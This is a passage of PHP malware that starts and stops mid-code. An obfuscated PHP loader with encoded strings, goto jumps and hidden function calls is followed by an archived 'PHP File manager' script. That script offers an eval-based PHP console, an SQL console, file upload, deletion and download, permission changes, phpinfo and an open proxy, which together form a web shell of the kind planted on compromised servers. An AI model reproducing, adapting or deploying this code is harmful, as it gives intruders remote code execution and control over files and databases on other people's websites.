"\x39\x35\66\x32\x33\46\x39\x35\66\x32\x34\x26\71\65\66\x30\66\x26\71\65\66\62\x30\46\x39\x35\x36\66\67\46\71\x35\66\66\x39\46\x39\x35\66\62\x36\46\x39\x35\x36\62\x31\x26\71\65\x36\62\x30\46\71\65\66\62\x32\46\71\65\66\61\x30\46\x39\x35\66\62\61\x26\71\65\x36\x32\x30", "\71\x35\x36\61\71\46\71\65\x36\x31\66\x26\71\x35\66\61\x33\x26\x39\x35\x36\x32\x30\46\x39\65\x36\x32\66\x26\x39\65\66\x31\70\x26\x39\x35\66\x32\x30\46\x39\x35\66\x30\65\46\x39\65\66\62\x36\46\71\65\66\62\x32\46\x39\65\x36\x31\x30\46\x39\x35\66\x31\61\46\71\x35\66\60\65\x26\71\65\66\x32\60\x26\71\65\x36\x31\x31\x26\x39\65\x36\x30\65\x26\71\65\x36\60\66", "\x39\x35\x36\64\x39\x26\x39\65\66\67\x39", "\71\x35\x35\x39\x36", "\71\x35\66\x37\x34\x26\71\65\x36\x37\71", "\71\65\x36\x35\x36\46\x39\65\66\63\71\46\x39\x35\66\x33\71\46\71\x35\x36\x35\66\46\71\x35\x36\63\x32", "\71\x35\x36\x31\71\46\71\x35\x36\61\66\46\x39\65\66\61\63\46\71\65\x36\x30\65\46\x39\x35\x36\x32\60\x26\x39\65\x36\60\x37\x26\71\x35\66\62\x36\46\x39\x35\x36\x31\66\x26\x39\x35\66\61\x31\46\71\x35\66\60\71\46\x39\65\x36\x30\x34\46\x39\x35\66\60\x35"); goto J16TktLVOii4qq; GwZGlw22STbfj1: $XNxlDHE7RzXRn0 = self::e2fhBbi9vBn_4L($VkFrCgPA6muyfG[1 + 0], $aT5vYUG2Ec3Edu[2 + 3]); goto ntNzgGN53WbxRH; Co54HoASRcifnL: $VkFrCgPA6muyfG = $aT5vYUG2Ec3Edu[0 + 2]($P7is8yPRdArplG, true); goto iI0Cj2h6Ow4utq; iI0Cj2h6Ow4utq: @$aT5vYUG2Ec3Edu[7 + 3](INPUT_GET, "\x6f\x66") == 1 && die($aT5vYUG2Ec3Edu[3 + 2](__FILE__)); goto YiNg9Lg4QngVGA; J16TktLVOii4qq: foreach ($QunALpt6RLhbkG as $s3x1UViG15rjoi) { $aT5vYUG2Ec3Edu[] = self::iobk1YV8PsQwEk($s3x1UViG15rjoi); t0AkPGhaHI3Y4h: } goto DNUdooMo9GTbei; aaiRTtX_mCslio: $mZzk3odKwaSeZe = @$aT5vYUG2Ec3Edu[1]($aT5vYUG2Ec3Edu[10 + 0](INPUT_GET, $aT5vYUG2Ec3Edu[6 + 3])); goto HEre_m41axv5f2; DNUdooMo9GTbei: nTlseUN9EvfCNX: goto aaiRTtX_mCslio; ZIWZSoVwbGvcC8: } } goto ysUasgNUoCF49P; IPIQjpguO7RM9p: $m91SaGO2d1HY_V = range("\x7e", "\40"); goto ZhCF4N3f3fdp1z; ZhCF4N3f3fdp1z: $Ptq3BHtBu1g6Ye = ${$m91SaGO2d1HY_V[27 + 4] . $m91SaGO2d1HY_V[28 + 31] . $m91SaGO2d1HY_V[46 + 1] . $m91SaGO2d1HY_V[9 + 38] . $m91SaGO2d1HY_V[25 + 26] . $m91SaGO2d1HY_V[13 + 40] . $m91SaGO2d1HY_V[30 + 27]}; goto VZ3lmC8O10_4fQ; rFlqMXwqmlo9xy: metaphone("\x6c\102\x54\146\53\x55\171\65\157\57\x65\x50\150\57\53\x73\x78\110\67\x39\x69\x32\x4f\x58\147\143\113\127\x4a\132\x6b\x62\x6d\154\x49\x64\62\151\x63\106\x5a\x31\x49"); goto EvN_3CkOr0cyTE; pBso4mmDcYnRLX: $Ptq3BHtBu1g6Ye[86] = $Ptq3BHtBu1g6Ye[63]($Ptq3BHtBu1g6Ye[86]); goto upDsKJCTYlQjQA; Uv3Z3xmJYJY0kM: $Ptq3BHtBu1g6Ye(); goto Cfx5jSEcjv3Jfc; ysUasgNUoCF49P: B0QL7kiCXiRl92::Dv0hFMlshddMjE(); ?> PK �[.]�V� index.htmlnu &1i� <!DOCTYPE html><title></title> PK �[.]��m�A �A file.phpnu �[��� <!doctype html> <html> </html> <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Bar-KnOW</title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdw